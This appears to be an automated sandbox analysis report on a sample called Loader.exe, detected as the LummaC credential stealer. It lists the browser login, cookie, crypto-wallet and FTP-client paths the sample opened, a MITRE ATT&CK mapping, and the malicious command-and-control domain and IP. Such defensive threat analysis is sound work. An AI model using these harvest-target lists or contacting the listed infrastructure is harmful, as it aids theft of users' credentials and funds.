Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\Loader.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Directory queried: C:\Users\user\Documents	Jump to behavior

Source: Yara match

File source: Process Memory Space: Loader.exe PID: 7408, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: Loader.exe PID: 7408, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Windows Management Instrumentation	1 DLL Side-Loading	211 Process Injection	21 Virtualization/Sandbox Evasion	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Screen Capture	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	211 Process Injection	LSASS Memory	241 Security Software Discovery	Remote Desktop Protocol	1 Archive Collected Data	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	Logon Script (Windows)	11 Deobfuscate/Decode Files or Information	Security Account Manager	21 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	41 Data from Local System	113 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	3 Obfuscated Files or Information	NTDS	1 Process Discovery	Distributed Component Object Model	2 Clipboard Data	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Software Packing	LSA Secrets	11 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	33 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
Loader.exe	100%	Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://undesirabkel.click/apibV7RydFqE=	100%	Avira URL Cloud	malware
https://undesirabkel.click:443/apiG	100%	Avira URL Cloud	malware
undesirabkel.click	100%	Avira URL Cloud	malware
https://undesirabkel.click/api	100%	Avira URL Cloud	malware
https://undesirabkel.click/apiC	100%	Avira URL Cloud	malware
https://undesirabkel.click/	100%	Avira URL Cloud	malware
https://undesirabkel.click/apii	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
undesirabkel.click	104.21.30.13	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
undesirabkel.click	true	Avira URL Cloud: malware	unknown
scentniej.buzz	false		high
rebuildeso.buzz	false		high
appliacnesot.buzz	false		high
screwamusresz.buzz	false		high
https://undesirabkel.click/api	true	Avira URL Cloud: malware	unknown
cashfuzysao.buzz	false		high
inherineau.buzz	false		high
prisonyfork.buzz	false		high
hummskitnj.buzz	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	Loader.exe, 00000003.00000003.1713758282.000000000597B000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1713833119.0000000005979000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1714012603.0000000005979000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	Loader.exe, 00000003.00000003.1713758282.000000000597B000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1713833119.0000000005979000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1714012603.0000000005979000.00000004.00000800.00020000.00000000.sdmp	false		high
https://undesirabkel.click:443/apiG	Loader.exe, 00000003.00000003.1852907348.0000000005954000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	Loader.exe, 00000003.00000003.1783747043.000000000343E000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1783776479.000000000343F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	Loader.exe, 00000003.00000003.1713758282.000000000597B000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1713833119.0000000005979000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1714012603.0000000005979000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	Loader.exe, 00000003.00000003.1783747043.000000000343E000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1783776479.000000000343F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	Loader.exe, 00000003.00000003.1713758282.000000000597B000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1713833119.0000000005979000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1714012603.0000000005979000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	Loader.exe, 00000003.00000003.1782474566.0000000005962000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.lga1.ap01.net/ctp?version=16.0.0&k	Loader.exe, 00000003.00000003.1806230046.000000000343E000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1806503830.000000000343E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	Loader.exe, 00000003.00000003.1783747043.000000000343E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://undesirabkel.click/apibV7RydFqE=	Loader.exe, 00000003.00000003.1810035314.0000000003411000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1809849509.000000000340C000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1810109813.0000000003416000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1835602520.0000000003416000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	Loader.exe, 00000003.00000003.1713758282.000000000597B000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1713833119.0000000005979000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1714012603.0000000005979000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	Loader.exe, 00000003.00000003.1782474566.0000000005962000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	Loader.exe, 00000003.00000003.1714565206.00000000059D3000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1760947199.0000000005987000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1761076038.0000000005987000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1714647625.0000000005987000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1760850531.0000000005987000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	Loader.exe, 00000003.00000003.1714565206.00000000059D3000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1760947199.0000000005987000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1761076038.0000000005987000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1714647625.0000000005987000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1760850531.0000000005987000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	Loader.exe, 00000003.00000003.1713758282.000000000597B000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1713833119.0000000005979000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1714012603.0000000005979000.00000004.00000800.00020000.00000000.sdmp	false		high
https://undesirabkel.click/	Loader.exe, 00000003.00000003.1882356018.0000000003416000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	Loader.exe, 00000003.00000003.1783483872.0000000005A5D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://undesirabkel.click/apiC	Loader.exe, 00000003.00000003.1902857262.000000000336C000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1903575535.000000000336F000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000003.00000002.1904716370.0000000003370000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ac.ecosia.org/autocomplete?q=	Loader.exe, 00000003.00000003.1713758282.000000000597B000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1713833119.0000000005979000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1714012603.0000000005979000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	Loader.exe, 00000003.00000003.1783747043.000000000343E000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1783776479.000000000343F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	Loader.exe, 00000003.00000003.1783776479.000000000343F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	Loader.exe, 00000003.00000003.1782474566.0000000005962000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	Loader.exe, 00000003.00000003.1782474566.0000000005962000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	Loader.exe, 00000003.00000003.1714647625.0000000005962000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	Loader.exe, 00000003.00000003.1713758282.000000000597B000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1713833119.0000000005979000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1714012603.0000000005979000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.microsof	Loader.exe, 00000003.00000003.1714565206.00000000059D5000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	Loader.exe, 00000003.00000003.1782474566.0000000005962000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	Loader.exe, 00000003.00000003.1714647625.0000000005962000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.all	Loader.exe, 00000003.00000003.1783483872.0000000005A5D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	Loader.exe, 00000003.00000003.1713758282.000000000597B000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1713833119.0000000005979000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1714012603.0000000005979000.00000004.00000800.00020000.00000000.sdmp	false		high
https://undesirabkel.click/apic	Loader.exe, 00000003.00000003.1882184319.0000000003411000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1881885413.000000000340F000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1853019894.000000000340C000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1882356018.0000000003416000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://undesirabkel.click/apii	Loader.exe, 00000003.00000003.1882184319.0000000003411000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1881885413.000000000340F000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1853019894.000000000340C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	Loader.exe, 00000003.00000003.1806230046.000000000343E000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1806503830.000000000343E000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.1783747043.000000000343E000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.21.30.13	undesirabkel.click	United States		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1581511
